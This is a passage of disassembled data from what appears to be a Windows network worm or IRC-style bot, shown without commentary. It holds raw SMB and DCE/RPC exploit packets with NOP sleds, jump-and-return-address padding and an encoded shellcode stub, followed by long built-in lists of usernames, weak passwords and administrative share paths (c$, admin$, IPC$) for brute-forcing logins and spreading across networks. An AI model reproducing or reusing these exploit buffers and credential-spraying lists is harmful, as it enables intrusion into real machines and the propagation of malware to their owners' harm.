		dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
		dd offset loc_401495
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
		dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
		dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 2	dup(0)
		dd 1CEC8166h, 0E4FF07h,	1004600h, 7515123Ch, 751C123Ch
		dd 42B68ABAh, 42D01E50h, 34000112h, 0
		dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh
		dd 10h,	0
aEu4		db 1Bh,'¥î4',0
		align 4
		dd 12400h, 0
dword_41AF50	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: cAddress:00410BB4o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
aLanman1_0	db 'LANMAN1.0',0
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
aLm1_2x002	db 'LM1.2X002',0
		dw 4C02h
aAnman2_1	db 'ANMAN2.1',0
		db 2, 4Eh, 54h
aLm0_12		db ' LM 0.12',0
		align 4
dword_41AFDC	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: cAddress:00410BF4o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_0:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_1:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_41B088	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: cAddress:00410C34o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_41B168	dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
					; DATA XREF: cAddress:00410C8Eo
		dd 0AB80000h, 46300800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_41B1A8	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: cAddress:00410CCBo
		dd 4DC0800h, 400800h, 0DE00FF18h, 800DEh, 16h, 0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 5C000903h, 574F5242h, 524553h,	0
dword_41B20C	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: cAddress:00410D0Bo
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
		dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41B2B0	dd 66030000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: cAddress:00410D68o
		dd 3900800h, 3C1D0800h,	1C000010h, 0E0040003h, 0FFh, 2 dup(0)
		dd 1C004A00h, 2004A03h,	2600h, 5C032340h, 45504950h, 5005Ch
		dd 100300h, 31C0000h, 0
		dd 3040000h, 0
		dd 4221001Fh, 184E8h, 0
		dd 10000h, 0
		dd 1630000h, 0
		dd 1630000h, 0
dword_41B338	dd 0			; DATA XREF: cAddress:00410E19o
		dd 0D7h, 1, 0
		dd 1, 0
		dd 0CBh, 2 dup(0)
dword_41B35C	dd 0CA040000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: cAddress:00410E9Ao
		dd 1C80800h, 7CC90800h,	80000010h, 0E0040004h, 0FFh, 2 dup(0)
		dd 80004A00h, 2004A04h,	2600h, 5C048740h, 45504950h, 5005Ch
		dd 100300h, 4800000h, 0
		dd 4680000h, 0
		dd 72B3001Fh, 1A381h, 0
		dd 10000h, 0
		dd 2150000h, 0
		dd 2150000h, 0
dword_41B3E4	dd 0			; DATA XREF: cAddress:00410F30o
		dd 85h,	2, 0
		dd 2, 2EBh, 85h, 2 dup(0)
dword_41B408	dd 20804h, 0		; DATA XREF: cAddress:00410DD7o
					; cAddress:00410DEDo ...
dword_41B410	dd 2080Ah, 0		; DATA XREF: cAddress:00410DC1o
		dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
		dd 0FEFF0000h, 0
		dd 2006200h, 4E204350h,	4F575445h, 50204B52h, 52474F52h
		dd 31204D41h, 200302Eh,	4D4E414Ch, 2E314E41h, 57020030h
		dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
		dd 2E332073h, 2006131h,	2E314D4Ch, 30305832h, 4C020032h
		dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
		dd 0
		dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_1:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_2:
		unicode	0, <Windows 2000 5.0>,0
		align 4
		dd 0
		dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch
		dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
		dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 300800h,	5A00FF04h, 1000800h, 2F00h, 0
		dd 3F3F0000h, 3F3F3Fh, 0
		dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
		dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h,	0
		dd 2019Fh, 4 dup(0)
		dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h,	720065h
		dd 0
		dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4780800h, 500800h, 48000010h, 0
		dd 10h,	2 dup(0)
		dd 48005400h, 2005400h,	2600h, 5940h, 50005Ch, 500049h
		dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h
		dd 0
		dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
		dd 3C005400h, 2005408h,	2600h, 84D40h, 50005Ch,	500049h
		dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
		dd 11h,	0
		dd 11h,	4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
		dd 2 dup(300030h), 0
		dd 0FFFFh, 7E0h, 2 dup(0)
		dd 7C0h, 0
		dd 2 dup(90909090h), 909008EBh,	767A1567h, 909008EBh, 767A1567h
		dd 909008EBh, 767A1567h, 909008EBh, 767A1567h, 909008EBh
		dd 767A1567h, 909008EBh, 767A1567h, 909008EBh, 767A1567h
		dd 909008EBh, 767A1567h, 909008EBh, 767A1567h, 909008EBh
		dd 767A1567h, 90909090h, 0EB909090h, 48909008h,	9088444Fh
		dd 4 dup(90909090h), 0
		dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
		dd 3C005400h, 2005408h,	2600h, 84D40h, 50005Ch,	500049h
		dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
		dd 11h,	0
		dd 11h,	4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
		dd 2 dup(300030h), 0
		dd 0FFFFh, 7E0h, 2 dup(0)
		dd 7C0h, 0
		dd 2 dup(90909090h), 909008EBh,	767A1567h, 909008EBh, 767A1567h
		dd 909008EBh, 767A1567h, 909008EBh, 767A1567h, 909008EBh
		dd 767A1567h, 909008EBh, 767A1567h, 909008EBh, 767A1567h
		dd 909008EBh, 767A1567h, 909008EBh, 1013C79h, 909008EBh
		dd 767A1567h, 90909090h, 0EB909090h, 48909008h,	9088444Fh
		dd 4 dup(90909090h), 0
		dd 7E0h, 4, 2 dup(0)
aFb		db 'fìÐ',7,0
		align 10h
		dd 129F74h, 0
		dd 127D78h, 0
		dd 5B03EB60h, 0F8E8C353h, 31FFFFFFh, 13404C0h, 315B50D8h
		dd 401002D2h, 50403002h, 4104C031h, 0C628C228h,	6604E2C0h
		dd 3104EAC1h, 2F630C0h,	66032803h, 58431301h, 802C931h
		dd 61D5E0h, 77BD3143h, 7FCh, 0C0314301h, 7FC77h, 4F020100h
		dd 7E7655Bh, 0
		dd 195h, 30B0005h, 10h,	48h, 1,	16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
		dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h,	0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
byte_41BB00	db 90h			; DATA XREF: sub_410F60+35r
					; sub_410F60+73r ...
dword_41BB01	dd 0			; DATA XREF: sub_410F60+A3r
		db 9Eh,	2 dup(0)
		dd 0F50000h, 0F8000000h, 0
		dd 0F9h, 0FC00h, 1270000h, 2F000000h, 1, 137h, 13F00h
		dd 1400000h, 41000000h,	4, 842h, 24300h, 40450000h, 46000000h
		dd 10h,	2047h, 14800h, 4490000h, 4A000000h, 8, 24Bh, 404D00h
		dd 104E0000h, 4F000000h, 20h, 198h, 19F00h, 5910000h, 92000000h
		dd 9, 393h, 419500h, 11960000h,	97000000h, 21h,	999h, 0
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aComputer	; "computer"
		dd offset aUnix_0	; "unix"
		dd offset aLinux	; "linux"
		dd offset aSystem	; "system"
		dd offset aServer_0	; "server"
		dd offset aRoot		; "root"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser_1	; "user"
		dd offset aOemuser	; "oemuser"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aGuest	; "guest"
		dd offset aNone		; "none"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aGod		; "god"
		dd offset aDomain	; "domain"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aData		; "data"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aMain		; "main"
		dd offset aLan_0	; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aOwner	; "owner"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
		dd offset aC		; "c$"
		dd offset aD		; "d$"
		dd offset aE		; "e$"
		dd offset aCShared	; "c$\\shared"
		dd offset aDShared	; "d$\\shared"
		dd offset aEShared	; "e$\\shared"
		dd offset aCWinnt	; "c$\\winnt"
		dd offset aCWindows	; "c$\\windows"
		dd offset aCWinntSystem32 ; "c$\\winnt\\system32"
		dd offset aCWindowsSystem ; "c$\\windows\\system32"
		dd offset aAdminSystem32 ; "Admin$\\system32"
		dd offset aAdmin_0	; "admin$"
		dd offset aCDocumentsAndS ; "C$\\Documents and Settings\\All Users\\Doc"...
		dd offset aPrint	; "print$"
		dd offset aIpc		; "IPC$"
		dd 0
		dd offset byte_41DE00
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aA_0		; "a"
		dd offset aAb		; "ab"
		dd offset aAbc		; "abc"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aDba		; "dba"
		dd offset aPass1234	; "pass1234"
		dd offset aPass_0	; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1_0		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset aWork		; "work"
		dd offset aDeadline	; "deadline"
		dd offset aPayday	; "payday"
		dd offset aSecret	; "secret"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset a2005		; "2005"
		dd offset aTest		; "test"
		dd offset aGuest	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aComputer	; "computer"
		dd offset aUnix_0	; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer_0	; "server"
		dd offset aRoot		; "root"
		dd offset aNull		; "null"
		dd offset aTemp		; "temp"
		dd offset aTemp123	; "temp123"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aSex		; "sex"
		dd offset aLetmein	; "letmein"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser_1	; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin_0	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aMoney	; "money"
		dd offset aLove		; "love"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp_0		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan_0	; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aOwner	; "owner"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
aWinpass	db 'winpass',0          ; DATA XREF: cAddress:0041BF5Co
aBlank		db 'blank',0            ; DATA XREF: cAddress:0041BF58o
		align 4
aXp_0		db 'xp',0               ; DATA XREF: cAddress:0041BF4Co
		align 4
aNokia		db 'nokia',0            ; DATA XREF: cAddress:0041BF48o
		align 10h
aHp		db 'hp',0               ; DATA XREF: cAddress:0041BF44o
		align 4
aOrainstall	db 'orainstall',0       ; DATA XREF: cAddress:0041BF28o
		align 10h
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: cAddress:0041BF24o
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: cAddress:0041BF18o
		align 4
aDb2		db 'db2',0              ; DATA XREF: cAddress:0041BF14o
aDb1		db 'db1',0              ; DATA XREF: cAddress:0041BF10o
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: cAddress:0041BF0Co
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: cAddress:0041BF04o
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: cAddress:0041BF00o
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: cAddress:0041BEFCo
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: cAddress:0041BEF0o
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: cAddress:0041BEECo
		align 4
aHello		db 'hello',0            ; DATA XREF: cAddress:0041BEE4o
		align 10h
aHell		db 'hell',0             ; DATA XREF: cAddress:0041BEE0o
		align 4
aLove		db 'love',0             ; DATA XREF: cAddress:0041BEDCo
		align 10h
aMoney		db 'money',0            ; DATA XREF: cAddress:0041BED8o
		align 4
aSlut		db 'slut',0             ; DATA XREF: cAddress:0041BECCo
		align 10h
aBitch		db 'bitch',0            ; DATA XREF: cAddress:0041BEC8o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: cAddress:0041BEC4o
		align 10h
aExchange	db 'exchange',0         ; DATA XREF: cAddress:0041BEC0o
		align 4
aLoginpass	db 'loginpass',0        ; DATA XREF: cAddress:0041BEB4o
		align 4
aLogin_0	db 'login',0            ; DATA XREF: cAddress:0041BEB0o
		align 10h
aQwe		db 'qwe',0              ; DATA XREF: cAddress:0041BE4Co
aZxc		db 'zxc',0              ; DATA XREF: cAddress:0041BE48o
aAsd		db 'asd',0              ; DATA XREF: cAddress:0041BE44o
aQaz		db 'qaz',0              ; DATA XREF: cAddress:0041BE40o
aWin2000	db 'win2000',0          ; DATA XREF: cAddress:0041BE3Co
aWinnt		db 'winnt',0            ; DATA XREF: cAddress:0041BE38o
		align 10h
aWinxp		db 'winxp',0            ; DATA XREF: cAddress:0041BE34o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: cAddress:0041BE30o
		align 10h
aWin98		db 'win98',0            ; DATA XREF: cAddress:0041BE2Co
		align 4
aWindows	db 'windows',0          ; DATA XREF: cAddress:0041BE28o
aOeminstall	db 'oeminstall',0       ; DATA XREF: cAddress:0041BE20o
		align 4
aOem		db 'oem',0              ; DATA XREF: cAddress:0041BE18o
aAccounting	db 'accounting',0       ; DATA XREF: cAddress:0041BE08o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: cAddress:0041BE04o
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: cAddress:0041BE00o
aSex		db 'sex',0              ; DATA XREF: cAddress:0041BDFCo
					; cAddress:0041BED0o
aOutlook	db 'outlook',0          ; DATA XREF: cAddress:0041BDECo
aMail		db 'mail',0             ; DATA XREF: cAddress:0041BDE8o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: cAddress:0041BDE4o
		align 4
aTemp123	db 'temp123',0          ; DATA XREF: cAddress:0041BDE0o
aTemp		db 'temp',0             ; DATA XREF: cAddress:0041BDDCo
		align 4
aNull		db 'null',0             ; DATA XREF: cAddress:0041BDD8o
		align 4
aDefault	db 'default',0          ; DATA XREF: cAddress:0041BDC8o
aChangeme	db 'changeme',0         ; DATA XREF: cAddress:0041BDC4o
		align 4
aDemo		db 'demo',0             ; DATA XREF: cAddress:0041BDB4o
		align 10h
aTest		db 'test',0             ; DATA XREF: cAddress:0041BDA8o
		align 4
a2005		db '2005',0             ; DATA XREF: cAddress:0041BDA4o
		align 10h
a2004		db '2004',0             ; DATA XREF: cAddress:0041BDA0o
		align 4
a2001		db '2001',0             ; DATA XREF: cAddress:0041BD94o
		align 10h
aSecret		db 'secret',0           ; DATA XREF: cAddress:0041BD8Co
		align 4
aPayday		db 'payday',0           ; DATA XREF: cAddress:0041BD88o
		align 10h
aDeadline	db 'deadline',0         ; DATA XREF: cAddress:0041BD84o
		align 4
aWork		db 'work',0             ; DATA XREF: cAddress:0041BD80o
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: cAddress:0041BD7Co
		align 10h
a123456789	db '123456789',0        ; DATA XREF: cAddress:0041BD78o
		align 4
a12345678	db '12345678',0         ; DATA XREF: cAddress:0041BD74o
		align 4
a1234567	db '1234567',0          ; DATA XREF: cAddress:0041BD70o
a123456		db '123456',0           ; DATA XREF: cAddress:0041BD6Co
		align 4
a12345		db '12345',0            ; DATA XREF: cAddress:0041BD68o
		align 10h
a1234		db '1234',0             ; DATA XREF: cAddress:0041BD64o
		align 4
a123		db '123',0              ; DATA XREF: cAddress:0041BD60o
a12		db '12',0               ; DATA XREF: cAddress:0041BD5Co
		align 10h
a1_0:					; DATA XREF: cAddress:0041BD58o
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: cAddress:0041BD54o
aPwd		db 'pwd',0              ; DATA XREF: cAddress:0041BD50o
aPass_0		db 'pass',0             ; DATA XREF: cAddress:0041BD4Co
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: cAddress:0041BD48o
		align 10h
aDba		db 'dba',0              ; DATA XREF: cAddress:0041BD44o
aPasswd		db 'passwd',0           ; DATA XREF: cAddress:0041BD40o
		align 4
aPassword	db 'password',0         ; DATA XREF: cAddress:0041BD3Co
					; cAddress:0041D768o
		align 4
aPassword1	db 'password1',0        ; DATA XREF: cAddress:0041BD38o
		align 4
aAbc		db 'abc',0              ; DATA XREF: cAddress:0041BD34o
aAb		db 'ab',0               ; DATA XREF: cAddress:0041BD30o
		align 4
aA_0:					; DATA XREF: cAddress:0041BD2Co
		unicode	0, <a>,0
aIpc		db 'IPC$',0             ; DATA XREF: cAddress:0041BD04o
		align 4
aPrint		db 'print$',0           ; DATA XREF: cAddress:0041BD00o
		align 10h
aCDocumentsAndS	db 'C$\Documents and Settings\All Users\Documents\$',0
					; DATA XREF: cAddress:0041BCFCo
aAdmin_0	db 'admin$',0           ; DATA XREF: cAddress:0041BCF8o
		align 4
aAdminSystem32	db 'Admin$\system32',0  ; DATA XREF: cAddress:0041BCF4o
aCWindowsSystem	db 'c$\windows\system32',0 ; DATA XREF: cAddress:0041BCF0o
aCWinntSystem32	db 'c$\winnt\system32',0 ; DATA XREF: cAddress:0041BCECo
		align 10h
aCWindows	db 'c$\windows',0       ; DATA XREF: cAddress:0041BCE8o
		align 4
aCWinnt		db 'c$\winnt',0         ; DATA XREF: cAddress:0041BCE4o
		align 4
aEShared	db 'e$\shared',0        ; DATA XREF: cAddress:0041BCE0o
		align 4
aDShared	db 'd$\shared',0        ; DATA XREF: cAddress:0041BCDCo
		align 10h
aCShared	db 'c$\shared',0        ; DATA XREF: cAddress:0041BCD8o
		align 4
aE		db 'e$',0               ; DATA XREF: cAddress:0041BCD4o
		align 10h
aD		db 'd$',0               ; DATA XREF: cAddress:0041BCD0o
		align 4
aC		db 'c$',0               ; DATA XREF: cAddress:0041BCCCo
		align 4
aStaff		db 'staff',0            ; DATA XREF: cAddress:0041BCC4o
					; cAddress:0041BF7Co
		align 10h
aTeacher	db 'teacher',0          ; DATA XREF: cAddress:0041BCC0o
					; cAddress:0041BF78o
aOwner		db 'owner',0            ; DATA XREF: cAddress:0041BCBCo
					; cAddress:0041BF74o
		align 10h
aStudent	db 'student',0          ; DATA XREF: cAddress:0041BCB8o
					; cAddress:0041BF70o
aIntranet	db 'intranet',0         ; DATA XREF: cAddress:0041BCB4o
					; cAddress:0041BF6Co
		align 4
aLan_0		db 'lan',0              ; DATA XREF: cAddress:0041BCACo
					; cAddress:0041BF64o
aMain		db 'main',0             ; DATA XREF: cAddress:0041BCA8o
					; cAddress:0041BF60o
		align 10h
